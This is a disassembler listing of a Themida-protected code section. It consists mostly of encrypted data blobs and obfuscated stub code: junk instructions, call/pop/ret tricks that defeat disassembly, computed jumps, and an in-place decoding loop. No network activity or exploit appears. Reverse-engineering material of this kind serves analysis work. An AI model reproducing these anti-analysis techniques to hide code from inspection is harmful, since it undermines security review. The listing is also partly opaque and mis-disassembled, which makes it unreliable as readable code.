dd 0A1D4295Ch, 24D0455h, 3009800Bh, 79319688h, 0EB6587C9h
dd 193D0C6Dh, 9FB584C8h, 0D50CDC6Dh, 800E94EBh, 0A8C91011h
dd 0E4A7DA0Bh, 0FD20FE41h, 0FE88E1DDh, 0DAA2ACE1h, 0A8BF827h
dd 0A6361C3Bh, 9F3224ACh, 67F658EAh, 0E978D063h, 0BA8C9A8h
dd 59F39927h, 3396B3CFh, 418F5938h, 0EF7ECE5Fh, 0D760329Eh
dd 16388A2Dh, 0D2B00347h, 0CD848688h, 0DD6C0DA5h, 371E9B35h
dd 0A55DEE24h, 0B89A3814h, 34162725h, 0C89CADA3h, 6E1CAF93h
dd 56DBA3FFh, 48296CA9h, 698CD2F9h, 9E033888h, 1E9BF5FFh
dd 4B6BE174h, 0E978D465h, 0AECh, 5E7B5200h, 0D667ED7Ch
dd 0BDB32DB7h, 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h
dd 0F330252h, 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah
dd 2D7368h, 24048900h, 405E089h, 83000000h, 48704E8h, 89525C24h
dd 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch, 81E28952h
dd 4C2h, 4EA8300h, 5C241487h, 0BE240C89h, 69387259h, 69A0B850h
dd 0C6316F22h, 0C8B5458h, 4C48324h, 0CFB850h, 600D6004h
dd 0D18A36Ch, 2CB10EFDh, 0B76EF735h, 89C8017Ch, 34FF5830h
dd 0C4835924h, 24348B04h, 81E68956h, 4C6h, 4C68300h, 5C243487h
dd 0F95123E9h, 115658FFh, 0CD32DEAEh, 0B5F1D6FBh
db 0BFh, 0F7h, 6Ah
; ---------------------------------------------------------------------------
loc_5EF317: ; CODE XREF: Themida_:005EDE14j
mov eax, 61A2FB2h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 5BA8D0FFh, 4630B462h, 6197CED1h, 55ED9D5h, 9CB53CBh
dd 31098D8Dh, 0D18B061Ah, 1BBD8D89h, 10E90613h, 26000000h
dd 411B4F3Dh, 56D4EAA4h, 0CE257EB5h, 0C7E952B6h, 1318DD85h
dd 647806h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1704h, 0C3524200h, 9B5DBF9Bh, 31F5B58Bh, 85C70613h
dd 6133055h, 0
; ---------------------------------------------------------------------------
or [ebp+6131939h], edx
push dword ptr [ebp+6132831h]
push 0
push esi
call sub_5EF3A7
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EF3A7 proc near ; CODE XREF: Themida_:005EF39Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 16h
inc esi
push esi
retn
sub_5EF3A7 endp
; ---------------------------------------------------------------------------
add [edx+6Dh], esi
cld
call dword ptr [ebp+6131D89h]
mov ebx, 5817ADF5h
mov eax, [ebp+6130179h]
push 0
call dword ptr [ebp+6130DA9h]
mov eax, eax
jmp short loc_5EF407
; ---------------------------------------------------------------------------
dd 0D3208B03h, 3BE387BBh, 0D1744846h, 0A20C5CF7h, 71DF4B38h
dd 0B5673192h, 93A797D5h, 23BE7238h, 5DAA8455h, 4EE81B58h
dd 0CC88268Ch
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 1Dh, 9Eh
; ---------------------------------------------------------------------------
loc_5EF407: ; CODE XREF: Themida_:005EF3D6j
; Themida_:005EF410j
call sub_5EF419
dec eax
push ss
sbb ch, [esi]
loop near ptr loc_5EF407+4
mov esi, fs:[ebx-6C4544B8h]
; =============== S U B R O U T I N E =======================================
sub_5EF419 proc near ; CODE XREF: Themida_:loc_5EF407p
mov ax, 26Fh
pop edi
add eax, [ebp+6131CD5h]
add edi, 6607h
mov dl, 44h
sub esi, esi
sbb ebx, 7A6A73FBh
loc_5EF434: ; CODE XREF: sub_5EF419+8Fj
mov ecx, [edi+esi]
jz loc_5EF451
jo loc_5EF451
jmp loc_5EF451
; ---------------------------------------------------------------------------
dd 10D554A1h, 812647C7h
db 0B2h
; ---------------------------------------------------------------------------
loc_5EF451: ; CODE XREF: sub_5EF419+1Ej
; sub_5EF419+24j ...
add ecx, 0D09D6C9h
mov [ebp+6132C71h], edx
sub ecx, 32B57D89h
and bl, 2Bh
sub ecx, 49657A4Eh
movzx eax, di
push ecx
mov bx, di
pop dword ptr [edi+esi]
mov eax, edx
clc
sub esi, 1
mov eax, [ebp+6132491h]
dec esi
dec esi
dec esi
mov [ebp+6132C99h], edx
cmp esi, 0FFFF9A9Ch
jnz loc_5EF4A5
mov bx, dx
jmp loc_5EF4B3
; ---------------------------------------------------------------------------
or eax, 5AC2D53Eh
leave
loc_5EF4A5: ; CODE XREF: sub_5EF419+78j
sub ah, 0DEh
jmp loc_5EF434
; ---------------------------------------------------------------------------
db 9Ah, 0CEh, 5Dh
db 14h, 0CEh, 0F7h
; ---------------------------------------------------------------------------
loc_5EF4B3: ; CODE XREF: sub_5EF419+81j
lea ecx, [ebp+61A32ABh]
cmc
mov di, 0A34Dh
mov [ebp+6131BBDh], ecx
push 0
push edx
call sub_5EF4CF
and [edx-3Dh], bl
sub_5EF419 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5EF4CF proc near ; CODE XREF: sub_5EF419+AEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5EF4CF endp
; ---------------------------------------------------------------------------
pusha
inc edx
imul ecx, esp, 1E41858Bh
adc eax, [esi]
mov dword ptr [ebp+61318DDh], 6E00h
push 0
push ebx
call sub_5EF4FE
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EF4FE proc near ; CODE XREF: Themida_:005EF4F6p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
locret_5EF50D: ; CODE XREF: Themida_:005EF561j
retn
sub_5EF4FE endp
; ---------------------------------------------------------------------------
dw 364h
; ---------------------------------------------------------------------------
mov edi, [ebp+6131D9Dh]
pusha
mov esi, [ebp+613094Dh]
popa
mov [ebp+61321A9h], edi
mov dword ptr [ebp+6133055h], 0
mov [ebp+6131EFDh], ecx
push dword ptr [ebp+6130ED5h]
and dx, 7AFCh
call dword ptr [ebp+6131D89h]
push 0
push ebx
call sub_5EF550
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EF550 proc near ; CODE XREF: Themida_:005EF548p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5EF550 endp
; ---------------------------------------------------------------------------
loc_5EF560: ; CODE XREF: Themida_:005EF564j
cdq
loop locret_5EF50D
dec ebx
loope loc_5EF560
test eax, 0A19D298Dh
adc edx, [ebx]
push es
push 0
call dword ptr [ebp+6130DA9h]
mov eax, eax
jmp short loc_5EF589
; ---------------------------------------------------------------------------
dw 446Bh
dd 0E2912059h, 0A6AEE932h, 49058F38h
db 79h
; ---------------------------------------------------------------------------
loc_5EF589: ; CODE XREF: Themida_:005EF578j
jmp loc_5EF5BD
; ---------------------------------------------------------------------------
dw 7CD8h
dd 3072h, 0Ah dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5EF5BD: ; CODE XREF: Themida_:loc_5EF589j
jmp loc_5EFB19
; ---------------------------------------------------------------------------
push 61A341Ch
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A34D9h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 61A363Eh
jmp loc_58442C
; ---------------------------------------------------------------------------
dd 0EFCF87D3h, 0F5D579C9h, 0E9C981D3h, 0FAD878C7h, 0EBCB89D8h
db 0B8h, 77h
; ---------------------------------------------------------------------------
loc_5EF5F6: ; CODE XREF: Themida_:005EF614j
push ss
loc_5EF5F7: ; CODE XREF: Themida_:005EF611j
mov dword ptr [ebp-6A42F4D3h], 88C01335h
sub cl, [eax]
mov ch, 97h
aaa
sub ah, ds:0B7E856B0h
push ss
pop ds
assume ds:nothing
or bl, [eax-43h]
jo short loc_5EF5F7
push ebp
jno short loc_5EF5F6
; ---------------------------------------------------------------------------
dw 4E6Ch
dd 506F1752h, 0C67506Fh, 0DAA2104Fh, 26CD4938h, 0B101109Eh
dd 854FCE9Dh, 8F138B06h, 4ADEC416h, 61ED3Dh, 0CDEA2BB8h
dd 0D8FA56E5h, 6302CA88h, 8B11B412h, 0A7F0B0Ah, 0ACB712E2h
dd 379BA5Ah, 3A1D0000h, 8B064FCBh, 0EBF5180Ah, 0D5DFB971h
dd 61F05CEDh, 459C9820h, 72F36241h, 0F3168EA5h, 0D5972BCCh
dd 4999117Eh, 0F5C6405h, 84D57DCBh, 0A836405h, 0E7E50E03h
dd 3E942C35h, 453DD6E8h, 0ECCBE889h, 5A1373C6h, 4030B63Dh
dd 2B6AFB9Ah, 834F62A1h, 0C5481315h, 55313874h, 59320776h
dd 3C1B0D02h, 0BA8BC516h, 44B02A5Bh, 147900FEh, 0E1FE1FCCh
dd 0C6E468F9h, 673551E4h, 0C3FD9DC4h, 36B5A8C9h, 47768531h
dd 377A5A0h, 8DD90000h, 77C7E9C9h, 7FD1F7D7h, 76C5EBCBh
dd 87D6FCDAh, 71BEEDCDh, 2787CD1Ch, 3F9FB301h, 2482C619h
dd 1A1ABFEh, 6CE61738h, 3516B7E9h, 0BEA382DCh, 0CB9AB605h
dd 77D5684Ah, 0BB8EB916h, 924351F7h, 0DD104D97h, 16884245h
dd 0CA5E4986h, 76B33E18h, 0DAE43E2Fh, 0AAAD0A83h, 83DADF3Bh
dd 465A80Ah, 0DADC36A7h, 60A50A83h, 2B80A201h, 3CD4C1Dh
dd 0D4CEF9D6h, 0C46748DAh, 0C11D506Fh, 8A0A8410h, 428FC10Bh
dd 10A52154h, 2F6E0A84h, 0FB4A704Eh, 70557A59h, 0F8D6A87Dh
dd 2362B736h, 415D917Ch, 0EF7ECA5Dh, 36C726AEh, 0E948BAD5h
dd 0D588C415h, 800B1920h, 0BA93CE5Dh, 96000002h, 8AB00E48h
dd 92B81638h, 8CAE0C3Eh, 93B5153Bh, 7DB00E46h, 480C59B2h
dd 5AF8486Ah, 4701567Ch, 5CF04167h, 0FB6A757Eh, 16B7E89Fh
dd 0A30D3168h, 7AEBC8BEh, 168786E4h, 2051E025h, 0A8381A2h
dd 88FDDAF9h, 0A83820Eh, 81BC1647h, 850A83h, 800AD233h
dd 2B13E10Bh, 0D0BB5AA4h, 9F000001h, 0C3E06CBDh, 4ADFCDCh
dd 57611081h, 0D973C608h, 0E2A4BDF9h, 0EF5590C5h, 0BFDE168Eh
dd 3689B1AEh, 0E0C24312h, 94F3FD4Bh, 0A8AEB36h, 6488018Dh
dd 5AACD094h, 693Ch, 0DDC22200h, 0EDE4A91Ch, 0D7E3ED90h
dd 0F8D7F492h, 0B52CA6D7h, 0F065109Dh, 109DB496h, 0EC313E5Fh
dd 76D592C7h, 666EEA64h, 8F0E2627h, 0F2436716h, 428A0B5Ah
dd 0A0D160A5h, 0A8AFE22h, 0EE7FC95Eh, 0B92E5AECh, 0E84F4F58h
dd 7357E687h, 4C4669E1h, 93FFC6AFh, 0FF6E51F6h, 0A8BA9A3h
dd 379F296Ch, 5AAC1F79h, 0BAE1h, 6CBD7500h, 4D7251E0h
dd 0BCF6530Eh, 0BC9E26D3h, 3416272Dh, 0B89AABA1h, 0A2882725h
dd 5A784012h, 9E2D892Bh, 94B80910h, 8B811037h, 0C7234D93h
dd 17BC7B12h, 18A08336h, 0A4351D3Ah, 0CD1420A8h, 55EB1AB9h
dd 5216885Dh, 1FAE9433h, 73D7A16Fh, 93F25FF0h, 94C00D33h
dd 0F6B3EE1h, 85C06780h, 155h, 0C7E76FFBh, 0DDFD51E1h
dd 0C1E169FBh, 0A20050DFh, 83233180h, 0DF6E9F90h, 0E5735575h
dd 0D86B4D6Dh, 0DD705270h, 5D824F6Fh, 0B7EAAE28h, 40227716h
dd 0C7E470BDh, 0F47E24E0h, 8628E3AAh, 0CC4D1C36h, 61F4D604h
dd 0C5EACBEBh, 409D2367h, 6572C8F0h, 48797358h, 0BDC58F59h
dd 6D51E06Ch, 66BFAADCh, 0F30FE74Dh, 0E3123592h, 109E8667h
dd 78C9ED30h, 0F1CE0CD4h, 0BD579C9h, 0EFCCBAAFh, 247EEFD0h
dd 0ED109E86h, 865DB9A8h, 0E726109Eh, 988D00DDh, 51168FCCh
dd 0EFD0EFCCh, 8B36247Eh, 3A8ED0Ah, 0DC363CDAh, 9CBE0669h
dd 82A8074Dh, 97F36232h, 600A8ADBh, 46945C3Dh, 8ADBB717h
dd 0EA62F30Ah, 0FD57E6CCh, 8B716Ch, 0A3CD0000h, 159502BEh
dd 9ACB3873h, 0EDA9DCFBh, 3616885Ch, 614986D7h, 0A8DBAD4h
dd 0A6F8347Bh, 8ADBFDC7h, 6BBEE4C2h, 0E12150E1h, 2E20DC89h
dd 4A9B47C4h, 9C83A402h, 9ACBBB59h, 0D41C1740h, 0EC1F8409h
dd 0BE9623BCh, 0E56DFBDFh, 0A9AB3554h, 21253418h, 0E068FB92h
dd 398E3051h, 0BEDF3E0Fh, 9E84B9AFh, 2C2E3F09h, 0F4D3B298h
dd 1C490581h, 854FCED4h, 71C46E0Bh, 26EFEE15h, 6100D4D6h
dd 7ECE5F41h, 3F2EFh, 7B500000h, 0E571BDE1h, 6DDF7254h
dd 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h
dd 0AF9B2D11h, 242ABC9Eh, 0EC812215h, 4, 68243489h, 322Fh
dd 81240C89h, 4ECh, 241C8900h, 3E456850h, 48B4F3Fh, 4C48124h
dd 2D000000h, 18F812F2h, 521B130Dh, 5E8C10Ah, 27793C05h
dd 58C18904h, 241C8B54h, 5104C483h, 49E4B951h, 4C2908ECh
dd 8F590424h, 43810843h, 0EC49E408h, 241C8B08h, 81E28952h
dd 4C2h, 4C28100h, 87000000h, 8B5C2414h, 8950240Ch, 405E0h
dd 0C0830000h, 24048704h, 4922E95Ch, 9267FFF9h, 0ACBA8A97h
dd 0A692826h, 0D04C790Dh
; ---------------------------------------------------------------------------
push cs
loc_5EFB19: ; CODE XREF: Themida_:loc_5EF5BDj
mov eax, 61A37B8h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 8B79h
db 90h
db 22h, 0FAh, 0FEh
dd 0F61100FAh, 864A0A1Ch, 0AA7D5E52h, 34A44610h, 83264612h
dd 7B907FECh, 0D8311DD0h, 0B9952EA5h, 5A8238E7h, 0CCB37A66h
dd 0E39107B4h, 5F1356BBh, 0BE2C1D25h, 231E041Dh, 0FE8697Ah
dd 3A000000h, 58F508EEh, 98115843h, 9940E536h, 0B9669F4Dh
dd 6058B74Ah, 0B86657B5h, 8161BD6Ch, 5DC4C0h, 0AE900h
dd 128B0000h, 67CDE644h, 3558D701h, 1736BAh, 0CF8B6600h
dd 606030FFh, 60D88B66h, 9E96161h, 50000000h, 383D947h
dd 7CC2EF7Ch, 0B70F5B61h, 2EEB81F0h, 66167C9Eh, 0F381F88Bh
dd 2FF76063h, 0DE816056h, 764D8602h, 0FE9h, 95A09B00h
dd 8608892Bh, 0B7A60756h, 84021AB2h, 0C3815961h, 1B9AA022h
dd 8E8h, 4D8DFF00h, 0CF04124Bh, 68F0F36h, 81000000h, 0D596E7D9h
dd 18895F0Dh, 2C820Fh, 11E80000h, 7F000000h, 2E1905DFh
dd 0C60B6867h, 0BDF6AA4Fh, 0AAEEEC51h, 10E9h, 0AEA0AE00h
dd 0D678F6BFh, 65A8E040h, 392856D1h, 0E8835F78h, 0F4AF804h
dd 0FFFF5785h, 9E9FFh, 4A340000h, 0DF8ED402h, 0E8815C9Ah
dd 0Ch, 2A333B5Eh, 0BE00ECE3h, 8A23C21h, 45C88166h, 8E0F5E66h
dd 2, 0C68118B4h, 66D1h, 5E8h, 7A8E4900h, 8166F491h, 5842A0D7h
dd 0ECA420BAh, 5EF28133h, 6633ECBDh, 0FFAAD6BFh, 13E936h
dd 0FE060000h, 7AC95546h, 27C1DD12h, 906537Ch, 99CB7383h
dd 66565BF6h, 8159C38Bh, 0F19D5FC3h, 0BE95372h, 0EA000000h
dd 0F6103E4Eh, 73CF675Bh, 815FBC57h, 0DCFD0BC3h, 2810F67h
dd 8B000000h, 1FEB81CFh, 0E9011165h, 14h, 8296026Ch, 7FB625F6h
dd 0B1FD6769h, 5CE07409h, 0A879C07h, 0DE953h, 82670000h
dd 0E6EFE05Dh, 0FC199376h, 8FABC20Ch, 0CDE58006h, 7E68EE81h
dd 6EBF10AAh, 812A27C8h, 0AA7E64C6h, 5ED18110h, 4A32E0C2h
dd 0FF65850Fh, 0BF0FFFFFh, 11E8C0h, 8B460000h, 9C57D05h
dd 0A461AFC0h, 0A184FA0Ah, 0B65927D4h, 0F38B59A0h, 5C49C181h
dd 680000h, 0E8000000h, 9, 0DC3315EBh, 0A5D28C1Ah, 36CE80DCh
dd 810F5F5Eh, 3, 8B55C480h, 890F391Ch, 5, 0D5D88166h, 0C6EB81C0h
dd 0E84D78B6h, 5, 7491FAF9h, 0C3815E48h, 608332F9h, 40F381F8h
dd 6671DAC4h, 42DED081h, 0E9391C89h, 0Fh, 7D90628Ch, 98063022h
dd 0E3650215h, 8389C4D1h, 0B70F04EFh, 78FF81D1h, 0FFFFFA4h
dd 1485h, 21F68100h, 0E90B126Ch, 23h, 9036DDB9h, 3B0711E1h
dd 0F08166AAh, 88E9A0BBh, 85FFFFFFh, 0A8AD757Eh, 4D58FF08h
dd 0BEDD3168h, 8B7CBF74h, 25BD83C0h, 61316h, 0BD830975h
dd 6132C81h, 50197400h, 0B8C08B53h, 421h, 0D7D8589h, 9D8D0613h
dd 615A97Dh, 585BD3FFh, 2C81BD83h, 74000613h, 0B8535017h
dd 421h, 0D7D8589h, 9D8D0613h, 615A66Ch, 585BD3FFh, 9D8BC08Bh
dd 6130BB9h, 11E185C6h, 68560613h, 9CA8B852h, 1EE9B5FFh
dd 858D0613h, 6167C33h, 46AD0FFh, 100068h, 25B5FF00h, 6A061317h
dd 85D0FF00h, 0D850FC0h, 0B8000000h, 0
; ---------------------------------------------------------------------------
lea ecx, [ebp+6137533h]
jmp ecx
; ---------------------------------------------------------------------------
dd 0C38BC88Bh, 53C4003h, 0F8h, 30C508Bh, 2DBD83D3h, 6132Ah
dd 0E840Fh, 9D8B0000h, 6132A2Dh, 0BF1858Bh, 3890613h, 858D5251h
dd 61343ECh, 0FA8BD0FFh, 0D18BF18Bh, 0A4F3C88Bh, 11E185C6h
dd 68560613h, 0D41F6D39h, 1EE9B5FFh, 858D0613h, 6167C33h
dd 68D0FFh, 6A000080h, 0D0FF5200h, 0BD83C08Bh, 6131625h
dd 83097500h, 132C81BDh, 19740006h, 0C08B5350h, 421B8h
dd 15858900h, 8D061331h, 15A9E49Dh, 5BD3FF06h, 81BD8358h
dd 6132Ch, 53501774h, 421B8h, 15858900h, 8D061331h, 15A6859Dh
dd 5BD3FF06h, 8DC08B58h, 132A2D9Dh, 0B038B06h, 7840FC0h
dd 8B000000h, 45B8B03h, 41B81889h, 0E800004Bh, 0Bh, 7C550BADh
dd 2E4DEEF9h, 664EA313h, 596843B8h, 8150C480h, 67B5C1h
dd 68FC00h, 80000000h, 8B5A42CBh, 0A34FFFBh, 0F5EC68Ah
dd 178Ch, 0B2B96000h, 0E847F7A5h, 0Ah, 0C6EED06Ch, 0AE64D6F4h
dd 615A39FBh, 0E606C681h, 0FD8A5081h, 0F873C681h, 815124F5h
dd 9002A0D3h, 0C6815F09h, 18C44EFCh, 804AE081h, 66560C64h
dd 342BE881h, 6611048Fh, 816CC8BFh, 0FB82B4EAh, 0B0C28162h
dd 5262FB82h, 0CE9h, 42427B00h, 0DFAD6283h, 93FE1D63h
dd 0FA8158C1h, 0FFFF992Ch, 1E850Fh, 880F0000h, 5, 8FD38166h
dd 33E97Bh, 810B0000h, 0E51ECEDDh, 0BFEA91F8h, 8FE626D2h
dd 5860F60h, 0B8000000h, 4B056FFCh, 0FF53E961h, 2244FFFFh
dd 4FBA7F71h, 0F388535Eh, 0BA98D58Ch, 0AC336552h, 9E889h
dd 16A60000h, 0E15B28F8h, 5F3A2FEAh, 81F4ED80h, 0E284C7h
dd 14E900h, 0A6B40000h, 5B28F816h, 3A2FEAE1h, 6043E021h
dd 0F2CC6942h, 71689B79h, 8B000038h, 0C5805AC8h, 0BB378B11h
dd 68DE59FBh, 0F33FF681h, 890F661Bh, 4, 46F6BB66h, 73E5EE81h
dd 0DB8122A6h, 67228F02h, 0C70FF681h, 91B865CCh, 8963F68Ch
dd 13E937h, 3A450000h, 593AF78Fh, 0E3B3940Eh, 51E660C7h
dd 43063DA7h, 1EF832Eh, 4F4FC38Bh, 8182B74Fh, 1EAh, 13850F00h
dd 0B1000000h, 28E911h, 96330000h, 0FBD675F1h, 0D5B40441h
dd 830FECF0h, 2, 82E93DB7h, 0CAFFFFFFh, 0E34262D6h, 0C61E9144h
dd 2C4A8624h, 8D8D1A87h, 61A3F6Ch, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 14h, 51C35040h, 1A51BE66h, 1BBD8D89h
dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
dd 50400000h, 0C6DD09C3h, 8D892FB9h, 6131285h, 18DD85C7h
dd 623C0613h, 8EBF0000h, 0C700C69Eh, 13305585h, 6, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
dd 0CCA841B7h, 3594B863h, 0E9D2BF0Fh, 11h, 8040B67Ch, 8F5D0B95h
dd 95945850h, 4F67DBB7h, 418D0145h, 0FF061317h, 130ED5B5h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h
dd 0C3574700h, 0C58AB8C9h, 958B7E50h, 6132881h, 1D8995FFh
dd 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
dd 51410000h, 0BDB643C3h, 60767591h, 830Fh, 0BB660000h
dd 830FA482h, 3, 6AC2BF0Fh, 0A995FF00h, 8B06130Dh, 6D0FEBC0h
dd 0C43E1A46h, 0E6EA6BCh, 0B21A4263h, 0C3E9357Fh, 42000000h
dd 5E4462F4h, 0FE2482CCh, 2002A0AAh, 0BFE1C18Fh, 0D1C4E272h
dd 0B4A02D5Eh, 0AEA43416h, 0B3952A10h, 0B09C2D13h, 0D7064912h
dd 16B7F47Bh, 0C271CD44h, 0A9E063DDh, 0DBE595E1h, 57E66AF9h
dd 5AF64593h, 4C08557Dh, 6549CFDh, 62D774D7h, 3F91B9EFh
dd 11DB3A0Bh, 0DEE0EC72h, 81C92B10h, 997C109Bh, 0E410581Ch
dd 1Fh, 1975E8C7h, 520FD388h, 0D387A723h, 1E2D700Fh, 434FC539h
dd 83E2EF00h, 0FAC2921Fh, 0BDE17B60h, 7254E571h, 0FADC6DDFh
dd 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h, 2D112030h
dd 0BC9EAF9Bh, 2215242Ah, 1A3F8568h, 4126E906h, 574BFFF9h
dd 4CA8C124h, 43F36D51h, 10E8CD45h, 0EC000000h, 70B8FF28h
dd 8D329E87h, 7D5C16E2h, 8B1A0516h, 133521BDh, 66525B06h
dd 5F944DB8h, 59A7C381h, 81660000h, 337540F7h, 71B589F6h
dd 0FF06132Bh, 0C68A1E34h, 958B605Ah, 6130159h, 81615A50h
dd 8D906DEAh, 0B1858B3Fh, 81061325h, 0E4020EAh, 83C08117h
dd 815BC263h, 0CCBC25EAh, 0B58D8B7Ah, 52061316h, 14E9h
dd 3816E600h, 0DF1DE1Fh, 0BA4119EEh, 3CAE9F31h, 6BA3DE01h
dd 33048F54h, 23E1858Bh, 0FA8B0613h, 0F04EE83h, 0B80h
dd 5830F00h, 0B9000000h, 53568536h, 0A704FE81h, 850FFFFFh
dd 0FFFFFF87h, 1DF9858Bh, 9D8D0613h, 6131F31h, 23E4B8h
dd 5D858900h, 0E806131Eh, 0
; ---------------------------------------------------------------------------
pop eax
add eax, 0Dh
mov [ebx], eax
jmp loc_5F27CD
; ---------------------------------------------------------------------------
align 4
dd 8F8h dup(0)
db 0
; ---------------------------------------------------------------------------
loc_5F27CD: ; CODE XREF: Themida_:005F03E4j
jmp short loc_5F27E5
; ---------------------------------------------------------------------------
align 10h
dd 4 dup(0)
dd 1000000h
db 1
; ---------------------------------------------------------------------------
loc_5F27E5: ; CODE XREF: Themida_:loc_5F27CDj
xor al, 6
; ---------------------------------------------------------------------------
db 0
dd 6A061A00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 17042444h, 42000000h, 5134C352h, 37B69B05h, 0AE86050h
dd 7E000000h, 188CC815h, 0CCE8B9B9h, 8A0F23h, 5A000000h
dd 61C28B66h, 6A240489h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 15042444h, 41000000h, 429EC351h, 0EE8h, 0BE883800h
dd 0C3A988F9h, 0ED427C28h, 0FB7EF97h, 6A5FDABFh, 10E900h
dd 2F3F0000h, 0E9A93E79h, 45F1068Bh, 0AF2D24C3h, 6A3E74h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A4C35646h
dd 8B7C3F52h, 8D9FBB0Bh, 1A66A485h, 0C9816606h, 0F88B158Eh
dd 64A9B990h, 0F502EDFh, 287h, 90CF8B00h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 38C35747h, 0EB5B3A69h
dd 86E4E412h, 14D19589h, 6A0613h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 92C35747h, 7649B85Eh, 61FE8B60h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 0F02847C3h, 2FB436D9h, 9E924h, 497B0000h
dd 0BF840847h, 0FF00DE4Ch, 1307F195h, 0C1816606h, 9D2BA5CDh
dd 61329CDh, 5D0E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1504h, 0C3504000h, 0E8F5F9h, 5D000000h, 66A9ED81h
dd 6A061Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 493202C3h, 8166AD68h, 6ADACFE3h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
dd 7139C352h, 0B0739AA4h, 6E8h, 0BC213E00h, 8B22706Dh
dd 92685BD9h, 664F5D93h, 815F4FBFh, 9C322434h, 95FF4F5Dh
dd 6130DA9h, 5E8h, 0DD678900h, 0BD3115C4h, 6130165h, 5B58D5Ah
dd 6A061A65h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 15042444h, 43000000h, 0E698C353h, 20F5B589h, 0B70F0613h
dd 5206C7D2h, 0C76D6765h, 6E6F0446h, 6A6C63h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 190424h, 56460000h, 57D6B9C3h
dd 661CFC89h, 0B509C88Bh, 6130B39h, 610846C7h, 0B7007373h
dd 0F59D8933h, 6A061315h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0E81F0601h
dd 5, 1FC7181Ah, 66605F97h, 412DE081h, 5858D61h, 6A061A65h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 5B17C355h, 4ED891D6h, 0B52213Ch, 1324A1BDh
dd 52505006h, 2C806ABBh, 0B9310F44h, 0DCB3994h, 489585Ah
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 752945D7h, 0FF40BBFEh, 13117995h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0E4812029h, 89E3D48Dh, 130E1D9Dh, 0FC00B06h, 4B84h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h
dd 0C3564600h, 31A3D53h, 87E9A505h, 6A000003h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
dd 5B1FC351h, 122C875Eh, 0D78B74CFh, 16CA9968h, 46BA6670h
dd 24348144h, 7016CBB5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0F7C35242h, 81D6CB0Ah, 0FFA64EC2h, 130DA995h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 1926CFF4h, 0C88A7E89h, 12198D8Bh, 0B58D0613h
dd 61A6505h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 0F3C35040h, 0C78FA597h, 34383106h, 57006A36h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h
dd 0E280B6D8h, 258D89C1h, 0E9061312h, 0Ah, 0BA878C65h
dd 415C5A07h, 46C78567h, 342D3704h, 85895131h, 61314A5h
dd 846C75Fh, 0
; ---------------------------------------------------------------------------
push 0
push edx
call sub_5F2C63
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5F2C63 proc near ; CODE XREF: Themida_:005F2C5Bp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5F2C63 endp
; ---------------------------------------------------------------------------
xchg al, [esi+2Dh]
leave
mov ds:6AF9BDD3h, al
add [edx+0], ch
loc_5F2C7F: ; CODE XREF: Themida_:005F2CA8j
push ebp
call sub_5F2C88
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
